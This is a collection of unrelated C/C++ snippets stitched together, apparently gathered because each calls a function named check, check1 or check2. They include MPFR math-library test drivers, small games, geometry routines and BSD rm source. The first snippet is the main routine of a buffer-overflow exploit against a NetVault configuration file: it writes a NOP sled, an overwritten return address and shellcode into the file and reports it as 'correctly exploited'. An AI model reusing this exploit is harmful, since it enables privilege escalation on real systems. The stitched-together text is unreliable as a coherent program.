int main(int argc,char *argv[]) { ver(); if (argc>5||argc<2||atoi(argv[1])>2||atoi(argv[1])<1){usage(argv[0]);return -1;} if (check(argc,argv)==-1){return -1;} while (!feof(fl)) { fgets(line, sizeof(line),fl); if (strstr(line,vul)){ i++;j++;} if (i==2){ strcpy(line,vul); memset(line+5,0x90,600); memcpy(line+252,esp,4); memcpy(line+16,fun,32); memcpy(line+260,scode1,strlen(scode1)); memcpy(line+605,EOL,2);i=0;j++; } strcat(payload,line); } if (strstr(payload,vul)==NULL||j==1){ printf("[+] \"%s\" isn't a default NetVault file..\n",fp);return -1;} if (check2()==1){ fprintf(fl,"%s",payload); printf("[+] \"%s\" correctly exploited\n",fp); printf("[+] a service restart is needed to execute the payload\n"); } else printf("[+] can't write to \"%s\", something is wrong...\n",fp); return 0; }
double AngularGradient_dfy1(Vector v0, Vector v1, Vector v2, double w, int mass) { double x0, y0, x1, y1, x2, y2; x0 = v0.x; y0 = v0.y; x1 = v1.x; y1 = v1.y; x2 = v2.x; y2 = v2.y; double a00 = -x1 + x2; double a01 = x0 - x1; double a02 = y0 - y1; double a03 = -y1 + y2; double a04 = 2 * M_PI / mass; double a05 = -y0 + 2 * y1 - y2; double b00 = pow(a01, 2); double b01 = pow(a02, 2); double b02 = pow(a00, 2); double b04 = pow(a03, 2); double b05 = a01 * a00 + a02 * a03; double c00 = sqrt(b00 + b01); double c01 = sqrt(b02 + b04); double c02 = pow(b00 + b01, 1.5); double c03 = pow(b05, 2); double c04 = pow(b02 + b04, 1.5); double c05 = b00 + b01; double c06 = b02 + b04; double c08 = a02 * b05; double c10 = a03 * b05; double d00 = c00 * c01; double d01 = c02 * c01; double d03 = c05 * c06; double d04 = c00 * c04; check3(&d00, &d01, &d03, &d04); /*assert(!Util_is_zero(d00));*/ /*assert(!Util_is_zero(d01));*/ /*assert(!Util_is_zero(d03));*/ /*assert(!Util_is_zero(d04));*/ double e02 = b05 / d00; double e03 = c03 / d03; double e05 = c08 / d01; double e09 = c10 / d04; double e11 = a05 / d00; check1(&e02, &e03); double f01 = acosf(e02); double f02 = sqrt(1 - e03); double f05 = e09 +e11 +e05; check2(&f02); double g00 = a04 - f01; double h03 = (2*w*f05*g00); return h03/f02; }
void check(int errcode) { if(errcode != CL_SUCCESS) { perror(check2(errcode)); } //exit(errcode); }
void check(string str) { for (string end = str + 1; *end; end++) { for (string start = str; start < end; start++) { char temp[end - start + 1]; memcpy(temp, start, end - start); temp[end - start] = '\0'; check2(str, temp); } } }
int main(void) { check1(); printf("--------------------------------------"); check2(); printf("--------------------------------------"); check3(); printf("--------------------------------------"); return 0; }
bool Control::check(std::vector<int> &n) { getOutCard(n); bool result=false; switch (n.size()) { case 1: result=check1(); break; case 2: result=check2(); break; case 3: result=check3(); break; case 4: result=check4(); break; case 5: result=check5(); break; case 6: result=check6(); break; case 7: case 11: case 13: result=check7(); break; case 8: result=check8(); break; case 9: result=check9(); break; case 10: result=check10(); break; case 12: result=check12(); break; case 14: result=check14(); break; case 15: result=check15(); break; case 16: result=check16(); break; } return result; }
int main(void) { int array[6] = {98, 402, 35, 402, 1024, 64}; printf("%d\n", check(8)); printf("%d\n", check2(201)); printf("%d\n", advanced_search(array, 6, &check)); printf("%d\n", advanced_search(array, 6, &check2)); return (0); }
int main (int argc, char *argv[]) { tests_start_mpfr (); check1 (); check2 (); check3 (); tests_end_mpfr (); return 0; }
int check2(char str[],int *index){ if(str[*index]=='\0') return false; int temp=check1(str[(*index)++]); if(temp==N) // N if(check2(str,index)) return true; else return false; else if(temp==CDEI) // CDEI if(check2(str,index)) if(check2(str,index)) return true; else return false; else return false; else return true; // q~z }
int main() { check1(); check2(); convert1(); convert2(); convert3(); convert4(); convert5(); return 0; }
int main() { zeropad(); printfield(); calculate(); if (check1() || check2() || check3()) printf("No solution\n"); else if (solve()) drawpath(); else printf("Path not found\n"); return 0; }
int main(int argc, char **argv) { fprintf(stderr, "Started...\n"); #if 0 int rv; rv=check1(); if (rv) return rv; rv=check2(); if (rv) return rv; #endif return 0; }
void play() { char ar[3][3]; int r,c,b=0; for(int i=0;i<3;i++) { for(int j=0;j<3;j++) { ar[i][j]='~'; } } for(i=1;i<=9;i++) { if(i%2==1) { a1: cout<<"\n\tEnter a CROSS (X):\n\n"; cout<<"\tEnter row and column:"; cin>>r>>c; if(ar[r-1][c-1]=='~'&&r<=3&&c<=3) { ar[r-1][c-1]='X'; } else { cout<<"\tWrong parameters inputed ! ! !\tEnter again ! !\n"; goto a1; } output(ar); if(check1(ar,'X')==3||check2(ar,'X')==3||check3(ar,'X')==3||check4(ar,'X')==3) { cout<<"\t****PLAYER MARKING WITH X SIGN WINS!**** \n\n\tCONGRATULATIONS\n\n"; b=1; cout<<"\tPRESS ANY KEY FOR MAIN MENU:"; getch(); break; } } else {
int main() { struct A *p; check1 (); check2 (); CHECK (1, 4); CHECK (2, 22); CHECK (3, 10); CHECK (4, 25); CHECK (5, 16); CHECK (6, 19); CHECK (7, 22); CHECK (8, 25); CHECK (9, 28); CHECK (10, 31); exit (0); }
Polynomial spolynomial(const SPI & spi,const FactBase & fc,TimingRecorder * timers) { if(timers) { timers->start(s_spolynomialsTiming); }; const GroebnerRule & first = fc.rule(spi.leftID()); const GroebnerRule & second = fc.rule(spi.rightID()); Monomial tip1(first.LHS()); Monomial tip2(second.LHS()); Monomial right1, left2, one; int len1 = spi.overlapLength(); MonomialIterator w1 = tip2.begin(); for(int k=1;k<=len1;++k) { ++w1;}; int max1 = tip2.numberOfFactors()-1; // The following line is for a faster run-time. right1.reserve(max1-len1+1); for(int i=len1;i<=max1;++i,++w1) { right1 *= (*w1); } MonomialIterator w2 = tip1.begin(); int max2 = tip1.numberOfFactors() - len1; // The following line is for a faster run-time. left2.reserve(max2); for(i=0;i< max2;++i,++w2) { left2 *= (*w2); } Term ONE(one); #if 0 Monomial check1(tip1); check1 *= right1; Monomial check2(left2); check2 *= tip1; if(check1!=check2) { DBG(); }; #endif Polynomial result1(first.RHS()); Polynomial result2(second.RHS()); result1 *= Term(right1); result2.premultiply(Term(left2)); result1 -= result2; if(timers) { timers->printpause("spolynomial Timing:",s_spolynomialsTiming); }; return result1; };
bool Robot::check2(int robot1, int robot2, int *checkV) { checkV[robot1] = 1; if (robot1 == robot2){ return true; } for(int i = 0; i < size; i++){ if (masV[robot1 * size + i]){ if (i == robot2){ return true; } if (!checkV[i]){ return check2( i, robot2, checkV); } } } return false; }
int main() { int t; long int len; char str[65536]; scanf("%d", &t); while (t--) { scanf("%s", str); len = strlen(str); if (len < 3) { printf("No No\n"); continue; } check2(str); printf(" "); check5(str); printf("\n"); } return 0; }
int main(){ char str[1000]; while(gets(str)){ bool YES=true; int index=0; int i; for(i=0;str[i]!='\0';i++) if(!check1(str[i])){ YES=false; break; } if(YES&&(!check2(str,&index)||str[index]!='\0')) YES=false; if(YES) puts("YES"); else puts("NO"); } return 0; }
int main (int argc, char *argv[]) { int h; if (argc == 5) { check_random (atoi (argv[1]), atoi (argv[2]), atoi (argv[3]), (mpfr_rnd_t) atoi (argv[4])); return 0; } tests_start_mpfr (); if (argc != 1) { fprintf (stderr, "Usage: tsum\n tsum n k prec rnd\n"); exit (1); } check_simple (); check_special (); check_more_special (); for (h = 0; h <= 64; h++) check1 (h); check2 (); check3 (); check4 (); bug20131027 (); bug20150327 (); bug20160315 (); generic_tests (); check_extreme (); cancel (); check_overflow (); check_underflow (); check_coverage (); tests_end_mpfr (); return 0; }
bool Robot::check() { if (!num){ return false; } int v1 = 0; int v2 = 0; int checkMas[num]; for (int j = 0; j < size; j++) checkMas[j] = 0; for (int i = 0; i < num; i ++){ if (check2(0, robots[i], checkMas)){ v1 ++; } else v2++; } if (v1 == 1 || v2 == 1){ return false; } return true; }
void main() { int gdriver = DETECT, gmode, errorcode; initgraph(&gdriver, &gmode, "c:\\tc\\bgi "); initialise(); /////////////// start: m=0; char b=getch(); switch(b) { case 75: if(x!=92) { base(); x-=143; sr(); } break; case 77: if(x!=378) { base(); x+=143; sr(); } break; case 72: if(y!=92) { base(); y-=143; sr(); } break; case 80: if(y!=378) { base(); y+=143; sr(); } break; case 13: check2(); if(m==0) {move();} break; case 27: exit(0); break; } wincheck(); goto start; }
int check(int length1, float *number3, int *oper3){ if (length1 == 1) return check1(number3,oper3); if (length1 == 2) return check2(number3,oper3); if (length1 == 3) return check3(number3,oper3); if (length1 == 4) return check4(number3,oper3); if (length1 == 5) return check5(number3,oper3); if (length1 == 6) return check6(number3,oper3); if (length1 == 7) return check7(number3,oper3); if (length1 == 8) return check8(number3,oper3); if (length1 == 9) return check9(number3,oper3); if (length1 == 10) return check10(number3,oper3); return 0; }
int main (int argc, char** argv) { double x = 2.0; double y = -5.0; double epsilon = 0.00001; double expected = -2.0; if (fabs (check (x, y) - expected) >= epsilon) __builtin_abort (); expected = 2.0; if (fabs (check1 (x) - expected) >= epsilon) __builtin_abort (); expected = 1.0; if (fabs (check2 (x) - expected) >= epsilon) __builtin_abort (); expected = -2.0; if (fabs (check3 (x) - expected) >= epsilon) __builtin_abort (); expected = -4.0; if (fabs (check4 (x, y) - expected) >= epsilon) __builtin_abort (); expected = 2.0; if (fabs (check5 (x, y) - expected) >= epsilon) __builtin_abort (); }
int main(){ freopen("transform.in", "r", stdin); freopen("transform.out", "w", stdout); scanf("%d", &total_length); for(int i = 0; i < total_length; ++i) scanf("%s", before[i]); for(int i = 0; i < total_length; ++i) scanf("%s", after[i]); if(check1()) printf("1\n"); else if(check2()) printf("2\n"); else if(check3()) printf("3\n"); else if(check4()) printf("4\n"); else if(check5()) printf("5\n"); else if(check6()) printf("6\n"); else printf("7\n"); return 0; }
static void check_worst_cases (void) { check2("1.00089971802309629645", GMP_RNDD, "8.99313519443722736088e-04"); check2("1.00089971802309629645", GMP_RNDN, "8.99313519443722844508e-04"); check2("1.00089971802309629645", GMP_RNDU, "8.99313519443722844508e-04"); check2("1.01979300812244555452", GMP_RNDD, "1.95996734891603630047e-02"); check2("1.01979300812244555452", GMP_RNDN, "1.95996734891603664741e-02"); check2("1.01979300812244555452", GMP_RNDU, "1.95996734891603664741e-02"); check2("1.02900871924604464525", GMP_RNDD, "2.85959303301472726744e-02"); check2("1.02900871924604464525", GMP_RNDN, "2.85959303301472761438e-02"); check2("1.02900871924604464525", GMP_RNDU, "2.85959303301472761438e-02"); check2("1.27832870030418943585", GMP_RNDD, "2.45553521871417795852e-01"); check2("1.27832870030418943585", GMP_RNDN, "2.45553521871417823608e-01"); check2("1.27832870030418943585", GMP_RNDU, "2.45553521871417823608e-01"); check2("1.31706530746788241792", GMP_RNDD, "2.75406009586277422674e-01"); check2("1.31706530746788241792", GMP_RNDN, "2.75406009586277478185e-01"); check2("1.31706530746788241792", GMP_RNDU, "2.75406009586277478185e-01"); check2("1.47116981099449883885", GMP_RNDD, "3.86057874110010412760e-01"); check2("1.47116981099449883885", GMP_RNDN, "3.86057874110010412760e-01"); check2("1.47116981099449883885", GMP_RNDU, "3.86057874110010468272e-01"); check2("1.58405446812987782401", GMP_RNDD, "4.59987679246663727639e-01"); check2("1.58405446812987782401", GMP_RNDN, "4.59987679246663783150e-01"); check2("1.58405446812987782401", GMP_RNDU, "4.59987679246663783150e-01"); check2("1.67192331263391547047", GMP_RNDD, "5.13974647961076613889e-01"); check2("1.67192331263391547047", GMP_RNDN, "5.13974647961076724911e-01"); check2("1.67192331263391547047", GMP_RNDU, "5.13974647961076724911e-01"); check2("1.71101198068990645318", GMP_RNDD, "5.37084997042120315669e-01"); check2("1.71101198068990645318", GMP_RNDN, "5.37084997042120315669e-01"); check2("1.71101198068990645318", GMP_RNDU, "5.37084997042120426691e-01"); check2("1.72634853551388700588", GMP_RNDD, "5.46008504786553605648e-01"); check2("1.72634853551388700588", GMP_RNDN, "5.46008504786553716670e-01"); check2("1.72634853551388700588", GMP_RNDU, "5.46008504786553716670e-01"); check2("2.00028876593004323325", GMP_RNDD, "6.93291553102749702475e-01"); check2("2.00028876593004323325", GMP_RNDN, "6.93291553102749813497e-01"); check2("2.00028876593004323325", GMP_RNDU, "6.93291553102749813497e-01"); check2("6.27593230200363105808", GMP_RNDD, "1.83672204800630312072"); check2("6.27593230200363105808", GMP_RNDN, "1.83672204800630334276"); check2("6.27593230200363105808", GMP_RNDU, "1.83672204800630334276"); check2("7.47216682321367997588", GMP_RNDD, "2.01118502712453661729"); check2("7.47216682321367997588", GMP_RNDN, "2.01118502712453706138"); check2("7.47216682321367997588", GMP_RNDU, "2.01118502712453706138"); check2("9.34589857718275318632", GMP_RNDD, "2.23493759221664944903"); check2("9.34589857718275318632", GMP_RNDN, "2.23493759221664989312"); check2("9.34589857718275318632", GMP_RNDU, "2.23493759221664989312"); check2("10.6856587560831854944", GMP_RNDD, "2.36890253928838445674"); check2("10.6856587560831854944", GMP_RNDN, "2.36890253928838445674"); check2("10.6856587560831854944", GMP_RNDU, "2.36890253928838490083"); check2("12.4646345033981766903", GMP_RNDD, "2.52289539471636015122"); check2("12.4646345033981766903", GMP_RNDN, "2.52289539471636015122"); check2("12.4646345033981766903", GMP_RNDU, "2.52289539471636059531"); check2("17.0953275851761752335", GMP_RNDD, "2.83880518553861849185"); check2("17.0953275851761752335", GMP_RNDN, "2.83880518553861893594"); check2("17.0953275851761752335", GMP_RNDU, "2.83880518553861893594"); check2("19.8509496207496916043", GMP_RNDD, "2.98825184582516722998"); check2("19.8509496207496916043", GMP_RNDN, "2.98825184582516722998"); check2("19.8509496207496916043", GMP_RNDU, "2.98825184582516767406"); check2("23.9512076062771335216", GMP_RNDD, "3.17601874455977206679"); check2("23.9512076062771335216", GMP_RNDN, "3.17601874455977206679"); check2("23.9512076062771335216", GMP_RNDU, "3.17601874455977251088"); check2("428.315247165198229595", GMP_RNDD, "6.05985948325268264369"); check2("428.315247165198229595", GMP_RNDN, "6.05985948325268353187"); check2("428.315247165198229595", GMP_RNDU, "6.05985948325268353187"); }
/* * rm -- * This rm is different from historic rm's, but is expected to match * POSIX 1003.2 behavior. The most visible difference is that -f * has two specific effects now, ignore non-existent files and force * file removal. */ int main(int argc, char *argv[]) { int ch; const char *p; pid_t tty_pgrp; /* * Test for the special case where the utility is called as * "unlink", for which the functionality provided is greatly * simplified. */ if ((p = strrchr(argv[0], '/')) == NULL) p = argv[0]; else ++p; if (strcmp(p, "unlink") == 0) { while (getopt(argc, argv, "") != -1) usage(); argc -= optind; argv += optind; if (argc != 1) usage(); rm_file(&argv[0]); exit(eval); } Pflag = rflag = 0; while ((ch = getopt(argc, argv, "dfiIPRrvW")) != -1) { switch(ch) { case 'd': dflag = 1; break; case 'f': fflag = 1; iflag = 0; break; case 'i': fflag = 0; iflag = 1; break; case 'I': /* * The -I flag is intended to be generally aliasable * in /etc/csh.cshrc. We apply it only to foreground * processes. */ if (ioctl(0, TIOCGPGRP, &tty_pgrp) == 0) { if (tty_pgrp == getpgrp()) Iflag = 1; } break; case 'P': Pflag = 1; break; case 'R': case 'r': /* Compatibility. */ rflag = 1; break; case 'v': vflag = 1; break; case 'W': Wflag = 1; break; default: usage(); } } argc -= optind; argv += optind; if (argc < 1) { if (fflag) return 0; usage(); } checkdot(argv); uid = geteuid(); signal(SIGINFO, siginfo); if (*argv) { stdin_ok = isatty(STDIN_FILENO); if (Iflag && !iflag) { if (check2(argv) == 0) exit (1); } if (rflag) rm_tree(argv); else rm_file(argv); } exit (eval); }
int main (int argc, char *argv[]) { tests_start_mpfr (); if (argc==4) { /* tlog x prec rnd */ check3 (atof(argv[1]), atoi(argv[2]), (mp_rnd_t) atoi(argv[3])); goto done; } special (); check_worst_cases(); check2("1.01979300812244555452", GMP_RNDN, "1.95996734891603664741e-02"); check2("10.0",GMP_RNDU,"2.30258509299404590110e+00"); check2("6.0",GMP_RNDU,"1.79175946922805517936"); check2("1.0",GMP_RNDZ,"0.0"); check2("62.0",GMP_RNDU,"4.12713438504509166905"); check2("0.5",GMP_RNDZ,"-6.93147180559945286226e-01"); check2("3.0",GMP_RNDZ,"1.09861228866810956006e+00"); check2("234375765.0",GMP_RNDU,"1.92724362186836231104e+01"); check2("8.0",GMP_RNDZ,"2.07944154167983574765e+00"); check2("44.0",GMP_RNDU,"3.78418963391826146392e+00"); check2("1.01979300812244555452", GMP_RNDN, "1.95996734891603664741e-02"); /* bugs found by Vincent Lefe`vre */ check2("0.99999599881598921769", GMP_RNDN, "-0.0000040011920155404072924737977900999652547398000024259090423583984375"); check2("9.99995576063808955247e-01",GMP_RNDZ,"-4.42394597667932383816e-06"); check2("9.99993687357856209097e-01",GMP_RNDN,"-6.31266206860017342601e-06"); check2("9.99995223520736886691e-01",GMP_RNDN,"-4.77649067052670982220e-06"); check2("9.99993025794720935551e-01",GMP_RNDN,"-6.97422959894716163837e-06"); check2("9.99987549017837484833e-01",GMP_RNDN,"-1.24510596766369924330e-05"); check2("9.99985901426543311032e-01",GMP_RNDN,"-1.40986728425098585229e-05"); check2("9.99986053947420794330e-01",GMP_RNDN, "-0.000013946149826301084938555592540598837558718514628708362579345703125"); check2("9.99971938247442126979e-01",GMP_RNDN,"-2.80621462962173414790e-05"); /* other bugs found by Vincent Lefe`vre */ check2("1.18615436389927785905e+77",GMP_RNDN,"1.77469768607706015473e+02"); check2("9.48868723578399476187e+77",GMP_RNDZ,"1.79549152432275803903e+02"); check2("2.31822210096938820854e+89",GMP_RNDN,"2.05770873832573869322e+02"); /* further bugs found by Vincent Lefe`vre */ check2("9.99999989485669482647e-01",GMP_RNDZ,"-1.05143305726283042331e-08"); check2("9.99999989237970177136e-01",GMP_RNDZ,"-1.07620298807745377934e-08"); check2("9.99999989239339082125e-01",GMP_RNDN,"-1.07606609757704445430e-08"); check2("7.3890560989306504",GMP_RNDU,"2.0000000000000004"); /* exp(2.0) */ check2("7.3890560989306495",GMP_RNDU,"2.0"); /* exp(2.0) */ check2("7.53428236571286402512e+34",GMP_RNDZ,"8.03073567492226345621e+01"); check2("6.18784121531737948160e+19",GMP_RNDZ,"4.55717030391710693493e+01"); check2("1.02560267603047283735e+00",GMP_RNDD,"2.52804164149448735987e-02"); check2("7.53428236571286402512e+34",GMP_RNDZ,"8.03073567492226345621e+01"); check2("1.42470900831881198052e+49",GMP_RNDZ,"113.180637144887668910087086260318756103515625"); check2("1.08013816255293777466e+11",GMP_RNDN,"2.54055249841782604392e+01"); check2("6.72783635300509015581e-37",GMP_RNDU,"-8.32893948416799503320e+01"); check2("2.25904918906057891180e-52",GMP_RNDU,"-1.18919480823735682406e+02"); check2("1.48901209246462951085e+00",GMP_RNDD,"3.98112874867437460668e-01"); check2("1.70322470467612341327e-01",GMP_RNDN,"-1.77006175364294615626"); check2("1.94572026316065240791e+01",GMP_RNDD,"2.96821731676437838842"); check2("4.01419512207026418764e+04",GMP_RNDD,"1.06001772315501128218e+01"); check2("9.47077365236487591672e-04",GMP_RNDZ,"-6.96212977303956748187e+00"); check2("3.95906157687589643802e-109",GMP_RNDD,"-2.49605768114704119399e+02"); check2("2.73874914516503004113e-02",GMP_RNDD,"-3.59766888618655977794e+00"); check2("9.18989072589566467669e-17",GMP_RNDZ,"-3.69258425351464083519e+01"); check2("7706036453608191045959753324430048151991964994788917248.0",GMP_RNDZ,"126.3815989984199177342816255986690521240234375"); check2("1.74827399630587801934e-23",GMP_RNDZ,"-5.24008281254547156891e+01"); check2("4.35302958401482307665e+22",GMP_RNDD,"5.21277441046519527390e+01"); check2("9.70791868689332915209e+00",GMP_RNDD,"2.27294191194272210410e+00"); check2("2.22183639799464011100e-01",GMP_RNDN,"-1.50425103275253957413e+00"); check2("2.27313466156682375540e+00",GMP_RNDD,"8.21159787095675608448e-01"); check2("6.58057413965851156767e-01",GMP_RNDZ,"-4.18463096196088235600e-01"); check2 ("7.34302197248998461006e+43",GMP_RNDZ,"101.0049094695131799426235374994575977325439453125"); check2("6.09969788341579732815e+00",GMP_RNDD,"1.80823924264386204363e+00"); x_near_one (); test_generic (2, 100, 40); data_check ("data/log", mpfr_log, "mpfr_log"); done: tests_end_mpfr (); return 0; }
stamp stamp_fresh(void) { return (check2(++count2)); }
vector<Point3d> PlaneDetector::getPlanes(Mat& rgbImage, PointCloud<PointXYZ>& pcl, vector<Vec4i>& lines) { vector<Point3d> foundPlanes; for (int i = 0; i < lines.size(); i++) { Vec4i line = lines[i]; Point2i a = Point2i(line[0], line[1]); Point2i b = Point2i(line[2], line[3]); if (norm(b - a) < 100) continue; for (int j = 0; j < 2; j++) { Point2i diff = b - a; float len = cv::norm(diff); Point2i mid1(a.x + 4 * diff.x / 10, a.y + 3 * diff.y / 10); Point2i mid2(a.x + 5 * diff.x / 10, a.y + 5 * diff.y / 10); Point2i mid3(a.x + 6 * diff.x / 10, a.y + 7 * diff.y / 10); Point2i rotated; if (j == 0) rotated = Point2i(-diff.y, diff.x); else rotated = Point2i(diff.y, -diff.x); Point2i check1(mid1.x + rotated.x / 5, mid1.y + rotated.y / 5); Point2i check2(mid2.x + rotated.x / 2, mid2.y + rotated.y / 2); Point2i check3(mid3.x + rotated.x / 5, mid3.y + rotated.y / 5); Point3d d1 = depthCloseToPoint(check1, pcl, 10); Point3d d2 = depthCloseToPoint(check2, pcl, 10); Point3d d3 = depthCloseToPoint(check3, pcl, 10); bool planeAlreadyFound = false; for (int j = 0; j < foundPlanes.size(); j++) { if (fabs(pointOnPlane(d1, foundPlanes[j])) < DIST_EPSILON || fabs(pointOnPlane(d2, foundPlanes[j])) < DIST_EPSILON || fabs(pointOnPlane(d3, foundPlanes[j])) < DIST_EPSILON) { planeAlreadyFound = true; break; } } if (planeAlreadyFound) { cv::line(rgbImage, check1, check2, Scalar(0, 0, 255), 3, 8); cv::line(rgbImage, check2, check3, Scalar(0, 0, 255), 3, 8); cv::line(rgbImage, check3, check1, Scalar(0, 0, 255), 3, 8); continue; } cv::line(rgbImage, check1, check2, Scalar(255, 0, 0), 3, 8); cv::line(rgbImage, check2, check3, Scalar(255, 0, 0), 3, 8); cv::line(rgbImage, check3, check1, Scalar(255, 0, 0), 3, 8); if (d1.z != -1 && d2.z != -1 && d3.z != -1) { cv::line(rgbImage, check1, check2, Scalar(255, 255, 255), 3, 8); cv::line(rgbImage, check2, check3, Scalar(255, 255, 255), 3, 8); cv::line(rgbImage, check3, check1, Scalar(255, 255, 255), 3, 8); vector<Point3d> v; v.push_back(d1); v.push_back(d2); v.push_back(d3); Point3d plane = getPlane(v); foundPlanes.push_back(plane); } } } return foundPlanes; }
/* * rm -- * This rm is different from historic rm's, but is expected to match * POSIX 1003.2 behavior. The most visible difference is that -f * has two specific effects now, ignore non-existent files and force * file removal. */ int main(int argc, char *argv[]) { int ch; char *p; (void)setlocale(LC_ALL, ""); /* * Test for the special case where the utility is called as * "unlink", for which the functionality provided is greatly * simplified. */ if ((p = strrchr(argv[0], '/')) == NULL) p = argv[0]; else ++p; if (strcmp(p, "unlink") == 0) { while (getopt(argc, argv, "") != -1) usage(); argc -= optind; argv += optind; if (argc != 1) usage(); rm_file(&argv[0]); exit(eval); } Pflag = rflag = xflag = 0; while ((ch = getopt(argc, argv, "dfiIPRrvWx")) != -1) switch(ch) { case 'd': dflag = 1; break; case 'f': fflag = 1; iflag = 0; break; case 'i': fflag = 0; iflag = 1; break; case 'I': Iflag = 1; break; case 'P': Pflag = 1; break; case 'R': case 'r': /* Compatibility. */ rflag = 1; break; case 'v': vflag = 1; break; case 'W': Wflag = 1; break; case 'x': xflag = 1; break; default: usage(); } argc -= optind; argv += optind; if (argc < 1) { if (fflag) return (0); usage(); } checkdot(argv); checkslash(argv); uid = geteuid(); (void)signal(SIGINFO, siginfo); if (*argv) { stdin_ok = isatty(STDIN_FILENO); if (Iflag) { if (check2(argv) == 0) exit (1); } if (rflag) rm_tree(argv); else rm_file(argv); } exit (eval); }